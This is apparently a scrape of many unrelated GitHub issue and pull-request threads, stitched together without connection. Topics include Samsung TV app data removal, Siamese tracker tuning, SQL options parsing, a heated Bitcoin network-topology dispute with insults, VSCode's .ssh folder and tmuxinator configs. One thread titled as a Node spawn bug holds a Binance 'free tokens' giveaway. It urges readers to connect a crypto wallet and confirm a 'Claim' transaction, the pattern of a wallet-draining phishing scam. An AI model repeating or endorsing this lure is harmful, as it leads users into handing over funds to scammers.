deleteJS

what is the best way to handle samsung's requirement to remove application data when the app is uninstalled?  I added the tag to config.xml but it isn't being bundled when I run the toast prepare or build commands.
"Deleting common files on the application uninstall"
http://developer.samsung.com/tv/develop/legacy-platform-library/tec00111/index#Deleting-common-files-on-the-application-uninstall

deleteJS tag supported on Legacy Platform(a.k.a Orsay platform)
If you want using other elements to a particular platform (ex. deleteJS elements), please refer
"wiki > Create Project > How to add other elements..."(https://github.com/Samsung/cordova-plugin-toast/wiki/Create-Project)
Additionally, I will recommend using web storage, if your data size is under 5MB
Because web storage data is remove when the app is uninstalled.

I am using web storage but my app for Samsung got rejected because I'm not using deletejs so I assumed I needed to cleanup web storage in deletejs.  If what your saying is true why are they rejecting my app because of it?
I'm really quit frustrated with the Samsung TV app store.  This same code base has been approved and running on the amazon fire stick for months now but it has become a nightmare getting it approved for the Samsung store.
thanks for your help.

As I know, deleteJS is not mandatory element when you submit your Application in seller office.
So, you need check again for the reason of reject on your application.
please contact to samsung seller support menu.

I am being told that when the app is removed and added back the user data is still there.  Based on what your saying this must be a problem with the Samsung TV not removing the localStorage which is where I store my data.
Thanks.

I was looking through your closed issues and found this.
https://github.com/Samsung/cordova-plugin-toast/issues/8

webStorage(localStorage) data is remove when the app is uninstalled
Because data is located under your application folder by tizen system.
If user data is still there when Application uninstall and reinstall.
It is tizen tv issue. please contact to Samsung developer site(http://developer.samsung.com/forum/en)

This is for Orsay.  Thanks for you help.

Orsay TV also support web storage since 2014. If your Application service before 2014 than you should use the file system and deleteJS. As before my answer...
"deleteJS tag supported on Legacy Platform(a.k.a Orsay platform)
If you want using other elements to a particular platform (ex. deleteJS elements), please refer
"wiki > Create Project > How to add other elements..."(https://github.com/Samsung/cordova-plugin-toast/wiki/Create-Project)"
Actually, deleteJS is not mandatory element when you submit your Application in seller office.
So, you need check again for the reason of reject on your application.

Yes, it is 2014.  I have followed up with them based on your comments.  By the way I think you guys have done a great job with toast.  Are you expecting to get android going soon?  It was mentioned on your previous sites but I don't see any mention of it anymore.
Thanks again for your feedback.

Thanks for your interest on TOAST Project.
As you know, We will have extend TOAST project to android TV Platform.
But I don't have the detailed schedule. It will probably be released around May.
If you have any Idea, Join our project and make pull requests.
Thank you and Happy New Year!


Question about the search region update strategy in DaSiamRPN

Thank you for your sharing. And I wonder if there is the search region update strategy in this project. I try to change the instance size and output size to enlarge the search, while it seems that the result will become even worser. It seems that a large search region imply the target becoming smaller? What is the corret implement of the strategy? Please correct me if I am wrong.Waiting for your reply.

It seems that a large search region imply the target becoming smaller?

Yes

What is the corret implement of the strategy?

It depends on your task. If the object moves really fast, then it would be a great idea to increase the seach region.

Thank you for your reply. And I find that if I increase the search region, the anchor numbers will also increase, I try 255,300,400 and 500 as the search region size, the performance will drop accordinglly. I drawed several best bboxes and also superimpose the hanning window for better view.
[1]search region size: 255

[2]search region size: 300

[3]search region size: 400

[4]search region size: 510

It do confuses me. As  we know, if the target move on a same horizon,or more commonly, the In-Plane movement, it may run fast while the size doesn't change a lot. What can I do in such cases? I am a new beginner in tracking. Please correct me if I am wrong. Waiting for your reply. Thank you again for your warm heart.

And I find that if I increase the search region, the anchor numbers will also increase.
This is expected, I highly recommend you check out how the anchors are generated

it may run fast while the size doesn't change a lot. What can I do in such cases?
If it was me, I would increase the size and penalty while decrease the movement pentaly.

And in this perticualr case of basketball, I would also change the search region to a rectangle, so that it won't include those audience.

Thank you for your reply!
I check the code and reconfirm that to enlarge the search region, I change the cfg.TRACK.INSTANCE_SIZE and recalculate the cfg.TRAIN.OUTPUT_SIZE by using the formula cfg.TRACK.INSTANCE_SIZE/cfg.TRACK.BASE_SIZE-7 as the template only use the 7*7 center feature map.
So the anchors will increases as the output size is enlarged with an enlarged instance size. Am I right? Please correct if I am wrong. And I wonder weather the change in anchor number during inference is also a factor that harm the performance？(So the instance size that closer to that in training, the anchor number won't change too much and the proposal quality will higher.)

If it was me, I would increase the size and penalty while decrease the movement pentaly.
And in this perticualr case of basketball, I would also change the search region to a rectangle, so that it won't include those audience.

Thank you again for your advices on these cases. I still have a question that for an unseen video, how can we detect such cases and implement corresponding measures? I try to retrain the SiamRPN++ and sorry to find that the confidence scores are not always related to its performance(ie,the iou between the predicted bbox and the gt bbox). Eventhough I already set the cfg.DATASET.NEG = 0.2.
It will drop drastic when track a background that looks totally different from the target,(eg, the target was suddendly occluded). While if the target move smoothly out of view, the confidence score will still be high. Does it a common limitation in the siamese tracker? What do you think about it?
Waiting for your reply. Thank you again for your warm heart! @zyc-ai

So the anchors will increases as the output size is enlarged with an enlarged instance size. Am I right? Please correct if I am wrong.

Anchors are generated on the feature map. Hence, no matter what you do, it is fixed (that's why it is called anchor). I strongly encourage you to check out how anchors are generated.

And I wonder weather the change in anchor number during inference is also a factor that harm the performance？(So the instance size that closer to that in training, the anchor number won't change too much and the proposal quality will higher.)

I highly doubt so, since there would be a NMS step which shall elimate all redunant anchors, and if I recall right, only top 300~ anchors will be considered as proposal during testing.

Thank you again for your advices on these cases. I still have a question that for an unseen video, how can we detect such cases and implement corresponding measures? I try to retrain the SiamRPN++ and sorry to find that the confidence scores are not always related to its performance(ie,the iou between the predicted bbox and the gt bbox).

If you have absolutely no idea what scenario you are facing, I'd recommend you do nothing. But of course, if you have time, you may try adding momentum or/and other tricks, but setting a hard constraint is usually not ideal for unseen cases.

Eventhough I already set the cfg.DATASET.NEG = 0.2.

This is one thing you shouldn't do, the weakness of SiamRPN is the ability to distinguish between background and foreground. More negative samples are generally helpful.

It will drop drastic when track a background that looks totally different from the target,(eg, the target was suddendly occluded). While if the target move smoothly out of view, the confidence score will still be high. Does it a common limitation in the siamese tracker? What do you think about it?

I'm a bit confused here,  by track a background that looks totally different from the target, did you mean track a target that looks totally different from the background? I also couldn't see any relevance between track a background that looks totally different from the target and the target was suddendly occluded. And, by the target move smoothly out of view, did you mean the target is out of view and tracker tracked something on the background while with high confidence?

Thank you so much for your patience! After your reply I think twice and so sorry for my late reply.  ^-^

So the anchors will increases as the output size is enlarged with an enlarged instance size.
Here, the "anchors" I refer to the total anchor numbers in the responds map. As the search region enlarge, the output responds map will enlarge given a fixed template size, and as the anchor number in each location of the responds map are fixed to 5, therefore the total number of the anchor will increase 5*(new responds size-origin responds size). Please correct me if I am still missing something.

and if I recall right, only top 300~ anchors will be considered as proposal during testing.
emmm,I double check the code and couldn't find the nms operation in the lastest code. I guess maybe some improvements haven't released？If so, looking forward for your updates. ^^

And sorry for my confusing descriptions in the following,
And I wonder weather the change in anchor number during inference is also a factor that harm the performance
Here, the anchor numbers I still refer to the total number in a responds map, that is 5*(reponds map size) in this code.  As the SiamRPN++ mitigate the effects of paddings by adding random shift, it actually isn't a fully convolution network, I wonder weather the enlarge of  search region would bring some side effects.

you may try adding momentum or/and other tricks,
As for the "momentum" here, do you refer to the momentum that in lr during inference? If it is, emmm, however, we can't get the gt information during inference and can't get some feedbacks. I search some data and still didn't find a profound interpretation for this trick during inference. Or maybe you refer to some online updating tricks?

More negative samples are generally helpful.
I set cfg.DATASET.NEG = 0.2 according to the config.yaml files in SiamRPN++. And I compare several config.yaml and find their cfg.DATASET.NEG are all 0.2. I try to use 0.3 in a same experiments and seems only trival improvements. Would you please share your latest configuration on it?

target is out of view and tracker tracked something on the background while with high confidence?
Yes. I met some cases of this kind. Could you please provide have any advices? Emmm, maybe improve the discriminative ability of SiamRPN++ is also a solution?

[1]New discovery 1
I find a siamrpnlt_tracker.py in the latest code. Does it include the search region uppdate strategy in DaSiamRPN? It seems I finally find the right file aha? I notice that
Long term lost search size
cfg.TRACK.LOST_INSTANCE_SIZE = 831
the size is fixed and mach larger that 255 in normal short term tracking.
[2]New discovery 2
I try to add more traning datasets such as lasot and got10k to train SiamRPN++, while it seems can't improvement its performance anymore. Do you think that the original four datasets are already saturation to train the model? Do you have any other tricks exccept param searching and warming up? ^^
I am a new beginner in tracking. Please correct me if I am wrong. Waiting for your reply. Thank you again for your warm heart. @zyc-ai

emmm,I double check the code and couldn't find the nms operation in the lastest code. I guess maybe some improvements haven't released？If so, looking forward for your updates. ^^
Hi, I cloud not find the nms neithe. And I tried increase the Search region, it is better when I track a car. Previously, the bbox will get smaller and smaller.

target is out of view and tracker tracked something on the background while with high confidence?
I changed the coefficient of pos and neg. It perform better, but can not get my expected unfortunately
If you have new idea to fix those problem , could you share please


Add link to GitHub discussions on main website

Hi! This task was given as issue #228 on ModECl/MDF. I made this contribution as an outreach applicant.

Thanks for this @29riyasaxena. It's been merged in to main, on top of #42, and I've adjusted the text a bit.

Thanks for this @29riyasaxena. It's been merged in to main, on top of #42, and I've adjusted the text a bit.

My pleasure! :)


Improved ergonomy for CREATE EXTERNAL TABLE OPTIONS: Don't require quotations for simple namespaced keys like foo.bar

Which issue does this PR close?
Quick follow-on to #10404.
Rationale for this change
Now that we migrated to a consistent options syntax for external tables, we should focus on user ergonomy. I don't see a reason why we require simple namespaced option keys like foo.bar to have explicit quotes.
What changes are included in this PR?
Tweaked parser logic to allow quoteless namespaced keys for the OPTIONS clause.
Are these changes tested?
Added a new slt test to exercise the new code path.
Are there any user-facing changes?
Increased user ergonomy.

@berkaysynnada PTAL

This PR addresses the last remaining gap, ensuring that UX achieves the desired balance of consistency and flexibility.

Thank you all for the reviews 🚀


chore(main): release 5.1.2

:robot: I have created a release beep boop
5.1.2 (2024-10-19)
Bug Fixes

cicd: switch from weekly to daily backups (01cac16)
config: main script in package.json (b2cf77d)

This PR was generated with Release Please. See documentation.

:robot: Created releases:

v5.1.2
:sunflower:


Transmit currency after initial login?

I just realized that putting the currency for transactions into the "unlock_initialization" datablock in the initialization call means that providers can't show different currencies to different users.
That is something that might need attention.

Now that I think about it, the same also applies to things like user data (which do not even have a datablock yet).
If the provider wants to submit a username to the client so that the user can see their own name/profile pic in the corner then it can only do this after login.
One solution may be to move the currency data and user data into a datablock on the asset_list endpoint, because it only gets called after initialization.

This is covered by the new connection_status endpoint.


Implement SequenceEncoder through the Transcoder

Implement the SequenceEncoder interface as a custom Transcoder pipeline with a synthetic source.

Implemented in PR #252


Update network topology.  Mesh->small-world

Also, update:
"It’s also unnecessary and wasteful of network resources to connect to more than a handful of nodes."
With:
Since mining nodes are incentivized to connect to other miners to maximize propagation speed and efficiency, a miner may have hundreds of connections.

Substantiation for "miners with thousands of connections"
The Coinscope paper, clear back in 2015 found that:
"Another feature of the mainline Satoshi client is that
it permits a maximum of 125 active connections, but
we consistently see nodes that far exceed this maximum,
sometimes by a factor of nearly 80. This is not a singu-
lar phenomenon; we see these high degree nodes across
all runs of AddressProbe. That is, extremely high-degree
nodes are persistent over time."

  The existence of spy nodes is a well known unfortunate phenomena which in no way supports wright's bizarre claims which are completely out of wack with the obvious operation of the network (and even the clear claims of the work you cite!).

Bitcoin fierce critic which found how wrong he was and went into bitcoin core dev team. Despite that still feeling unmistakable, and in position to give lessons from position of authority, and unshaken credibility. Personally would not believe what time is it from such sources.

@gmaxwell go work on codecs; fake expert

@gmaxwell Here are some links to understand the network topology of Bitcoin.
Bitcoin (BCH) is a “small world” network which is scale-free.
https://www.researchgate.net/publication/262562539_Exploring_the_Bitcoin_Network
https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3604768/
https://www.scribd.com/document/359522859/Bitcoin-Network-Topology-ELI5

There's no scientific concensus over this, Even the scientist that worked on the paper with CSW is presenting all the results as "preliminary" and "early".
Let the peer review process continue before jumping to conclusions.

@checksum0 CSW is not the only person to observe the small-world phenomena in Bitcoin. The paper I cite above was not authored by Craig Wright and uses historical data to show that the network exhibits a high clustering coefficient which indicates it is a small-world network.
It is also very intuitive as the economic incentives of Bitcoin lead miners to connect to as many other miners as possible. This makes the network a near-complete graph where almost the entire network is aware of transactions almost instantly.
Regardless Bitcoin is very clearly not a mesh network so that part should be changed.

Additional support for "small-world" network topology here
"... indicating a small world network."
"which is indication for Bitcoin being a small world network as described by Watts and Strogatz"

Connecting to everyone else almost always slows down propagation, rather than speeding it. This is because sending data to everyone yourself bottlenecks the transmission on the network links near you (and your high latencies for retransmission to far away hosts). Instead, if the data is sent to a moderate number of nodes, those nodes each send to a moderate number and the amount of bandwidth available to propagate grows exponentially. More transmission also then ends up being across short RTT paths where retransmissions aren't so slow.
While some incompetent miners have at times massively over-connected-- one only need look at the actual network (and the software implementing it) to see that this isn't so generally.  It certainly isn't a property by design or requirement.  No released version of the Bitcoin software ever released has behaved in the way that was being claimed here. (moreover, both "scale free" and "small world" don't mean what you seem to think they mean)

@gmaxwell
"Connecting to everyone else..."
Where has my PR said "connecting to everyone else"?
What do you consider "moderate number" of nodes (specifically Miner P2P connections)?
Can you please share data you have showing that "nodes" only have a moderate number of connections?
And to be clear, I am referring to miner node P2P connections in this context.
Thanks!

@gmaxwell
Can you show me where I have said "scale free" in the PR or any of my comments?

This is followed by repeatable benchmarks in controled environment, or it didn't happen.

Connecting to everyone else almost always slows down propagation, rather than speeding it.

Closing this PR for now as it is currently inactive and the project structure has since changed.
If we want to capture this work, please create an issue.


Consume DesiredStateChanged predicate

Description of your changes
This PR:

Bumps the crossplane runtime to the latest with DesiredStateChanged predicate: https://github.com/crossplane/crossplane-runtime/pull/372
Pass it as an event filter in the generated controllers.
Uses annotations to trigger a reconciliation after an async operation is completed.

I have:

[ ] Read and followed Crossplane's contribution process.
[ ] Run make reviewable to ensure this PR is ready for review.
[ ] Added backport release-x.y labels to auto-backport this PR if necessary.

How has this code been tested
Create an s3 bucket and try deleting it when empty and non-empty.

During implementation, I realized that the current async operation callback mechanism does not backoff with failures and this PR will only keep it working as before instead of fixing it, opened a separate issue for that: https://github.com/upbound/upjet/issues/180

We had sync'ed with @turkenh about this PR and had agreed to consume the predicates as event filters in https://github.com/upbound/upjet/pull/231 on top of the reconcile request requeue mechanism we had introduced. Closing this PR...


Make VSCode stop creating %USERPROFILE%.ssh

VSCode Version: 1.15.1
OS Version: Windows 10 Pro Insider Slow

Steps to Reproduce:

Delete %USERPROFILE%\.ssh
Launch VSCode
Look at %USERPROFILE%, notice that there is now an empty .ssh folder.

Reproduces without extensions: Yes
I suspect this is being caused by VSCode's git integration, though I was unable to figure out how to redirect to where my SSH keys actually live (%APPDATA%\ssh).

If your keys live in %APPDATA%\ssh, what tools to you use to interact with your git repos, besides VS Code? I'm pretty sure command line git won't fetch the keys from that location.

I use git extensions, which is backed by Git for Windows and Putty for SSL handling.  I'm not sure exactly which part of the tooling prompts me for keys, but when it does it is via an open dialog box where I can point it at my keys and it (generally) remembers where I pointed it.  I think the dialog is coming from the PuTTy Ageant, but with so many tools involved its hard to say specifically.
Should I take your inquiry to imply that git using OpenSSL does not support a configurable SSH key path?  Is it the underlying git library used in VSCode that is creating the directiory?  If so, can you refer me to the appropriate repository to file this issue?

VS Code doesn't use an underlying library. It spawns git. So you'd get exactly the same behavior if you were to simply call git fetch from a command prompt. But Code definitely could benefit from having a configuration setting to specify where the keys are located.

I have verified that this is in fact a problem with the underlying git installation (which doesn't appear to have any mechanism for overriding the file location).
I have filed an issue for this at https://github.com/git-for-windows/git/issues/1285
I would love to see VSCode move away from shelling out to git and instead interacting with git via library (e.g., libgit2), though I recognize that is a large feature request.

use tortisegit's key agent for gitbash:

setx GIT_SSH "C:\Program Files\TortoiseGit\bin\TortoiseGitPlink.exe"


Training LORA can use Tensor Cores ?

Kohya_ss training LORA can use Tensor Cores to quickly?

The scripts don't use torch.backends.cuda.matmul.allow_tf32 = True, so Tensor Cores are not used in my understanding. However, as far as brief tests were concerned, the speed did not change with or without it. I think it is because xformers or sdpa is enabled.

thx


No multiple commands on pane

Several Commands in panes don't get executed at all:
name: pane bug
root: ~/
attach: false
post: tmux -CC attach
windows:
  - logs:
    layout: main-vertical
    panes:
      - nginx:
        - "ssh<EMAIL_ADDRESS>        - "cd /var/log/nginx/"
        - "tail -f error.log"
  - htop:
    - ssh<EMAIL_ADDRESS>    - htop

> tmuxinator debug bug
```
gives:

#!/bin/bash
Clear rbenv variables before starting tmux
unset RBENV_VERSION
unset RBENV_DIR
tmux start-server; has-session -t debug-edge-update\ server 2>/dev/null
if [ "$?" -eq 1 ]; then
cd /Users/felix
Run pre command.
Create the session and the first window. Manually switch to root
directory if required to support tmux < 1.9
TMUX= tmux new-session -d -s debug-edge-update\ server -n logs
Create other windows.
tmux new-window  -t debug-edge-update\ server:1 -n htop
Window "logs"
Window "htop"
tmux send-keys -t debug-edge-update\ server:1 ssh\<EMAIL_ADDRESS>C-m
tmux send-keys -t debug-edge-update\ server:1 htop C-m
tmux select-window -t 0
fi
tmux -CC attach

+1

+1

Ok, mine was a rookie mistake.
I had to look in $HOME/.tmux.conf and disable the following line:
#set -g base-index 1

Hi,
there seems to be a wrong tmuxinator configuration. A correct configuration works for me without any issues:
name: pane bug
root: ~/
attach: false
post: tmux -CC attach
windows:
  - logs:
      layout: main-vertical
      panes:
        - nginx:
          - "ssh<EMAIL_ADDRESS>          - "cd /var/log/nginx/"
          - "tail -f error.log"
  - htop:
    - ssh<EMAIL_ADDRESS>    - htop

*Notice the indentation under -logs . The debug output gives me the following result, which looks good to me:
#!/bin/bash

# Clear rbenv variables before starting tmux
unset RBENV_VERSION
unset RBENV_DIR

tmux start-server;

  cd /Users/d056995

  # Run pre command.

  # Create the session and the first window. Manually switch to root
  # directory if required to support tmux < 1.9
  TMUX= tmux new-session -d -s pane\ bug -n logs
  tmux send-keys -t pane\ bug:0 cd\ /Users/d056995 C-m

  # Create other windows.
  tmux new-window  -t pane\ bug:1 -n htop

  # Window "logs"
  tmux send-keys -t pane\ bug:0.0 ssh\<EMAIL_ADDRESS>C-m
  tmux send-keys -t pane\ bug:0.0 cd\ /var/log/nginx/ C-m
  tmux send-keys -t pane\ bug:0.0 tail\ -f\ error.log C-m

  tmux select-layout -t pane\ bug:0 tiled

  tmux select-layout -t pane\ bug:0 main-vertical
  tmux select-pane -t pane\ bug:0.0

  # Window "htop"
  tmux send-keys -t pane\ bug:1 ssh\<EMAIL_ADDRESS>C-m
  tmux send-keys -t pane\ bug:1 htop C-m

  tmux select-window -t 0
  tmux select-pane -t 0

tmux -CC attach

All commands in the logs pane are executed successfully. @aspeteRakete does this still occur using a correct indentation in the tmuxinator configuration?
@adamstrickland  and other tmuxinator experts: Is there currently any validation of the tmuxinator configuration before it is executed?
Cheers and bests,
Fabian
🍺 😄 🏄 ☀

As far as I know, there is not.  Part of the difficulty with a problem like this is that both structures are valid YAML, so we couldn't rely on a simple YAML validation check (which tmuxinator does do).  We'd need something along the lines of a schema validation; perhaps JSON Schema would be good here?

Closed via #630. (Feel free to reopen if it makes sense.)


spawn doesn't reject on nonzero exit code or signal, unlike exec

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:

Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰

Binance Airdrop Guide: $500k Worth of Airdrop is Ready, here's how to Claim
Claim your share of the $500k Binance Airdrop! As the year comes to an end, we're giving away $500 in BNB to celebrate. Follow the steps above to secure your tokens. Don't miss out on this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Winners: @


Standardise redis and mongodb deployments

Redis sentinel and mongodb operator seem unnecessary. any issues with just using bitnami?
could use shared instances depending on resource usage. but per-app instances are easier to move. redis can be stateless depending on the app (immich uses it for queues though)

Reminder to not use shared redis instances per today's discussion


My skin doesn't show on the website (Maksiillii)

When i go to the website my skin just shoes up as a steve skin.

Are you sure that you're using the correct username? "Maksiillii" doesn't exist as account (according to namemc)


Address YARD warnings and get docs back to 100%

[warn]: in YARD::Handlers::Ruby::MethodHandler: Undocumentable method defined on object instance
[warn]:         in file 'lib/rspec/rails/configuration.rb':73:

        73: def config.render_views=(val)

[warn]: in YARD::Handlers::Ruby::MethodHandler: Undocumentable method defined on object instance
[warn]:         in file 'lib/rspec/rails/configuration.rb':77:

        77: def config.render_views

[warn]: in YARD::Handlers::Ruby::MethodHandler: Undocumentable method defined on object instance
[warn]:         in file 'lib/rspec/rails/configuration.rb':81:

        81: def config.render_views?

[warn]: in YARD::Handlers::Ruby::MethodHandler: Undocumentable method defined on object instance
[warn]:         in file 'lib/rspec/rails/configuration.rb':85:

        85: def config.infer_spec_type_from_file_location!

[warn]: Syntax error in `lib/generators/rspec/mailer/templates/preview.rb`:(1,1): syntax error, unexpected '<'
[warn]: in YARD::Handlers::Ruby::MixinHandler: Undocumentable mixin: YARD::Parser::UndocumentableError for class RSpec::Rails::RoutingExampleGroup
[warn]:         in file 'lib/rspec/rails/example/routing_example_group.rb':11:

        11: include RSpec::Rails::AssertionDelegator.new(ActionDispatch::Assertions::RoutingAssertions)

[warn]: in YARD::Handlers::Ruby::MixinHandler: Undocumentable mixin: YARD::Parser::UndocumentableError for class RSpec::Rails::ControllerExampleGroup
[warn]:         in file 'lib/rspec/rails/example/controller_example_group.rb':12:

        12: include RSpec::Rails::AssertionDelegator.new(ActionDispatch::Assertions::RoutingAssertions)

[warn]: Syntax error in `lib/generators/rspec/install/templates/spec/rails_helper.rb`:(23,1): syntax error, unexpected '<', expecting end-of-input
Files:          26
Modules:        27 (    0 undocumented)
Classes:         7 (    0 undocumented)
Constants:       4 (    0 undocumented)
Methods:        59 (    1 undocumented)
 98.97% documented

Any idea why the builds weren't failing from this?

Could be due to rspec/rspec-dev#97.  We had this problem in the other repos and fixed it, but I know that rspec-rails' build is different and it may have gotten the bug without ever getting the fix.


feat: experimental options to revert to v2 strategies

Description
Add new options marked as experimental and deprecated to revert to v2 strategies, and express clear intent that these may be removed in a v3 minor

experimental.devDepsScanner
experimental.buildRollupPluginCommonjs
experimental.buildSsrCjsExternalHeuristics

What is the purpose of this pull request?

[ ] Bug fix
[x] New Feature
[ ] Documentation update
[ ] Other

experimental feel a bit future-oriented to me. Maybe we could introduce them as legacy. or compact.?

Thanks @antfu, legacy sounds a lot better to me. Changed the PR to use it 👍🏼
I still marked these three options as @experimental so we can break semver in a future minor removing them without breaking the contract for Vite itself.


Date Picker has no style after ng build

Date Picker works fine with ng serve to run at my local but it has no style after I compiled with ng build

Problem is not from the picker, but it come from the ng build itself.


chore: simplify quick start guide

This is a first pass at updating the Quick start in our docs. It doesn't change the overall approach for now, but it removes a lot of extraneous information that is covered elsewhere in the docs and adds additional links to more information about specific concepts. I also took the liberty of rewording a few things that seemed overly complex or redundant.

Rewording updates look great and I'm glad we're taking out the big note on managing users. Only note I'd add here, after the call where we inline identify those users, might be worth calling out that we're inline identifying them? Maybe extraneous and we don't need to mention it but came to mind as I read through. Whatever feels right to you though, will leave it in your hands!


UNIX fixes + slight cleanup

Fix filepaths using the Windows directory separator character ""
Make the csproj file easier to build on any machine, set $(ULTRAKILLPath) to your ULTRAKILL directory
Fix UnityWebRequest failing to load local files on Linux/MacOS
Fix soundpacks being loaded twice, fixing an error

uksoundreplacement.zip


HTTP2 support

It's be great to have HTTP2 support in Elli!
This seems like quite an ambitious addition but I thought I'd open an issue anyway :)

@lpil I don't think it should ever be added to elli itself, which is why I created https://github.com/elli-lib/elli_chatterbox.
Obviously issue being they don't have a shared form of request and configuration, all they share is the tcp acceptor which based on if you send a h2 upgrade in ssl it goes to http2.
But this could be built on to provide a shared interface for both while keeping it not added it directly into elli itself.

:+1: to shared interface and an example in https://github.com/elli-lib/elli-examples

Closing in favor of https://github.com/elli-lib/elli_chatterbox and https://github.com/elli-lib/elli-examples/issues/8

Is the some way would could use the Plug design for this?

I wouldn't.
But I'd be open to reviving https://github.com/tsloughter/elna, just not sure if there is a user base out there.
Also, I've been meaning to merge in an acceptor_pool interface to chatterbox and submit one for elli, then they'll both be easily combined, tho with their own handlers, so only useful for those who have a specific use-case where they want the http1/http2 to be handled by separate modules.


Support user-defined and customized class

Codecov Report

Merging #89 (949ba5b) into main (f285707) will increase coverage by 0.11%.
The diff coverage is 93.02%.

@@            Coverage Diff             @@
##             main      #89      +/-   ##
==========================================
+ Coverage   87.67%   87.79%   +0.11%
==========================================
  Files          81       82       +1
  Lines        2808     2852      +44
  Branches      352      361       +9
==========================================
+ Hits         2462     2504      +42
- Misses        267      268       +1
- Partials       79       80       +1

Flag
Coverage Δ

test-macOS-latest-3.8
?

test-ubuntu-latest-3.8
87.79% <93.02%> (+0.11%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

src/pyfx/view/json_lib/array/array_node.py
94.28% <77.77%> (-2.49%)
:arrow_down:

src/pyfx/view/json_lib/json_node_factory.py
84.37% <82.60%> (-4.76%)
:arrow_down:

.../pyfx/view/components/json_browser/json_browser.py
100.00% <100.00%> (ø)

src/pyfx/view/json_lib/json_node_creator.py
100.00% <100.00%> (ø)

src/pyfx/view/json_lib/object/object_node.py
95.77% <100.00%> (+0.69%)
:arrow_up:

src/pyfx/view/json_lib/primitive/boolean.py
100.00% <100.00%> (ø)

src/pyfx/view/json_lib/primitive/integer.py
100.00% <100.00%> (ø)

src/pyfx/view/json_lib/primitive/null.py
100.00% <100.00%> (ø)

src/pyfx/view/json_lib/primitive/numeric.py
100.00% <100.00%> (ø)

src/pyfx/view/json_lib/primitive/string.py
100.00% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


router.ws doesn't work with express v5

ws is undefined.

last commit was 3 years ago. is this still maintained?


Map with name() and valueOf(...) for Enums in EnumConverter

Currently, the code in EnumConverter works like this:
return Enum.valueOf(destClass, srcObj.toString());

This is not quite correct if srcObj is an Enum. I suggest that code should be like this:
if (srcObj instanceof Enum) {
    return Enum.valueOf(destClass, ((Enum) srcObj).name());
}
return Enum.valueOf(destClass, srcObj.toString());

Check this out: https://gist.github.com/jmochel/a38ded520c4da61ad6e1b43aec844854
Would it be possible for this to be the default behavior when mapping from Enum to String in Dozer?

this is crit!
if you have toString() override that prints something human-readable (as toString() is supposed to) - dozer will not be able to map enum value to itself.
using name() is a MUST.

@rockingdemon ; do you want to raise a PR?

I created pull request https://github.com/DozerMapper/dozer/pull/729 to address this.


Master yarong 1446 retries fix

This change is

PR is added to the queue for testing as 2. task. (7d7ee3f)

PR is added to the queue for testing as 4. task. (a6fea97)

Test (Fail) 92249550 build is completed (7d7ee3f)
See https://github.com/ThaliTester/TestResults/tree/922495507d7ee3f_Master_yarong_1446_retries_fix_yaronyg/ for the logs

Test (Fail) 92249550 build is completed (a6fea97)
See https://github.com/ThaliTester/TestResults/tree/92249550a6fea97_Master_yarong_1446_retries_fix_yaronyg/ for the logs

PR is added to the queue for testing as 1. task. (c9056e1)

Test (Success) 92249550 build is completed (c9056e1)
See https://github.com/ThaliTester/TestResults/tree/92249550c9056e1_Master_yarong_1446_retries_fix_yaronyg/ for the logs

Test 92249550c9056e1(c9056e1) has failed
See https://github.com/ThaliTester/TestResults/tree/92249550c9056e1_Master_yarong_1446_retries_fix_yaronyg/ for the fail logs

Reviewed 1 of 4 files at r1, 9 of 12 files at r2, 2 of 2 files at r4.
Review status: all files reviewed at latest revision, 2 unresolved discussions.

thali/NextGeneration/mux/thaliTcpServersManager.js, line 314 at r4 (raw file):

    var peerServer = this._peerServers[peerIdentifier];
    if (peerServer && peerServer.server.address().port === port) {
      createPeerListener.closeServer(this, peerServer.server, error, true);

It is possible that caller won't pass any error to the recreatePeerListener. In this case peerAvailabilityChanged event won't be fired with peerAvailable:false

thali/NextGeneration/thaliPeerPool/thaliPeerPoolOneAtATime.js, line 199 at r4 (raw file):

            thaliMobileNativeWrapper._getServersManager()
              .recreatePeerListener(
                peerId,

peerId does not exist anymore

Comments from Reviewable

PR is added to the queue for testing as 1. task. (abf9100)

@yaronyg I added some fixes during code reviewing (one of them fixes my own implementation faults), all other changes are LGTM, so if my fixes are OK, feel free to merge everything into master.

Test (Success) 92249550 build is completed (abf9100)
See https://github.com/ThaliTester/TestResults/tree/92249550abf9100_Master_yarong_1446_retries_fix_yaronyg/ for the logs

Test 92249550abf9100(abf9100) has failed
See https://github.com/ThaliTester/TestResults/tree/92249550abf9100_Master_yarong_1446_retries_fix_yaronyg/ for the fail logs


Turn DEFAULT_CONFIGS in accounts.py into a configuration file

Move this to a configuration file (default_quotas.conf alongside accounts.jsonl):
DEFAULT_QUOTAS = {
    # model group -> {granularity -> quota}
    "gpt3": {"daily": 10000},
    "codex": {"daily": 10000},
    "jurassic": {"daily": 10000},
}

This seems unnecessary since no external users are running their own crfm-models playground server deployments.


Rjmc torsion proposal

Conduct per-atom work tests and prepare geometry engine for work-variance minimization algorithm

@dominicrufa: Did you ever finish this up, or should we chat a bit about what problems remain to be solved?

@jchodera : everything seems to be working well here with the exception of a small variance in work, which i think is due to numerical error.  I am going to look at it briefly tomorrow and clean it up before I mark it ready for review.

@dominicrufa : It looks like you added required bond and angle arguments to a few functions without documenting what these are arguments are, e.g.:
https://github.com/choderalab/perses/pull/538/files#diff-a5d8d93e4a23e84d32747673e1244e75R1566
This is causing some tests that used to pass to now fail because the corresponding tests (e.g. in test_geometry_engine.py) were not updated for these corresponding parameters.
Can you give me a bit of info about what these represent? I can fix this in #536.
